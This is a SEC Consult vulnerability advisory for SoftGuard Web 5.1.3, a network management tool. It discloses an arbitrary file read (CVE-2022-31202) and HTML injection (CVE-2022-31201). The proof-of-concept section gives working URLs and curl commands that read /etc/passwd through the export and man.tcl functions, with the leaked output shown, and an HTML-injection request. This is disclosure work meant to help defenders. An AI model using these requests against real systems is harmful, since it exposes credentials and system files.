Vendor description
There is no public description available for this vendor/product. The following description was provided as documentation:
"SoftGuard is a network management extension which collects inventory-, analysis- and debugging data of devices and networks at least once a day. SoftGuard has an open structure, is built simple, is easily expandable, easy to use and is laid out for large scale networks. The data collection is performed with the protocols SNMP supporting the versions 1, 2c and 3. Additional protocols like ssh, telnet, rsh, https, NetBIOS/IP, ICMP ... complemented by SNMP if required.
The SoftGuard Suite consists of three parts:
- SoftGuard Network Center (SNC)
- SoftGuard Host Center (SHC)
- SoftGuard Monitor Center (SMC)
Aditionally there are a bunch of common and customer specific expansions like SoftGuard Web (SGW), SoftGuard Statistic Tool (SST), Port Configuration Tool (PCT), Network Access Points (NAP), Technician Access Point (TAP), etc."
Business recommendation
SEC Consult recommends to update to the latest version of SoftGuard (network management extension). An in-depth security analysis performed by security professionals is highly advised, to identify and resolve potential further critical security issues.
Vulnerability overview/description
1) File System Access (CVE-2022-31202)
The export function allows authenticated attackers to download any arbitrary local file from the file system due to insufficient input validation. The unfiltered URL parameter query enables an attacker to access arbitrary local files. This allows the attacker to define the complete path and the filename by himself. Files that include passwords and other sensitive information can be accessed. Furthermore, the built-in man functionality also allows attackers to read any arbitrary local file from the file system.
2) HTML Injection (CVE-2022-31201)
Various components do not properly sanitize/encode user input. This leads to HTML injection vulnerabilities. By exploiting this vulnerability, an attacker can include arbitrary HTML into the affected web page. The code is executed in the context of the victim's browser when visiting the manipulated URL. The vulnerability can be used to change the contents of the displayed site or redirect to other sites.
During the security assessment it was not possible to execute JavaScript code because the security headers Content-Security-Policy and X-Content-Type-Options are preventing the execution.
Proof of concept
1) File System Access (CVE-2022-31202)
1a) Export functionality
In order to access arbitrary local files, the export function as authenticated user (Administration -> User -> Access -> Export) can be used. The following URL was used to set the filename to /etc/passwd
https ://$host:8016/sgw/export?dbs=file&db=DefUser_access_$username_db%2e
1649426888398872%2etmp&query=file%3a/etc/passwd' The newly set filename (/etc/passwd) can be exported and downloaded via the execution button. Afterwards the content of the file gets downloaded successfully.
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
[...] 1b) MAN functionality
The following curl command shows how an authenticated attacker can gain access to any arbitrary local file:
curl 'https://$host:8016/cgi-bin/man.tcl' -H 'Authorization: Basic [...]'
--data 'act=1&x=%2Fetc%2Fpasswd&submit=Execute' --compressed --insecure The curl response includes the contents of the file:
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8" />
[...]
<pre>
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
[...] 2) HTML Injection (CVE-2022-31201)
When a new graph is created an authenticated attacker controls the GET parameters and can inject malicious content. The following curl command shows how an authenticated attacker can inject HTML code:
curl 'https://$host:8016/sgw/graph?tbl=sgNode&t=percent&h=Status%3Ch1%3ESEC-
Consult%3C/h1%3E+%23&v=%7bdown+1934+orange%7d+%7bicmp+555+red%7d+%7bsnmpaaaa+8723+green%7d&scale=5'
-H 'Authorization: Basic [...]' --compressed --insecure The curl response includes the injected HTML code <h1>SEC Consult</h1>:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<title>SGW - Graph: Node</title>
[...]
</head>
<body class="master">
[...]
<caption>∑3, Status<h1>SEC Consult</h1>, #11212</caption>
[...]
<tr><td>Status<h1>SEC Consult</h1></td>
[...]
</body></html> Vulnerable / tested versions
The following version has been tested and found to be vulnerable:
- SoftGuard Web (SGW) 5.1.3
The vendor provided the following information regarding the affected versions:
1a) affected version 4.5.0 (2019-05-04) to version 4.5.8 (2020-05-05)
1b) since SoftGuard 2.0 with SoftGuard Web 1.0 (~1998/99)
2) since SoftGuard 3.6.0 (2009-10-31) / SoftGuard 3.6.6 (2011-02-15) with SoftGuard Web 2.6.0/2.6.6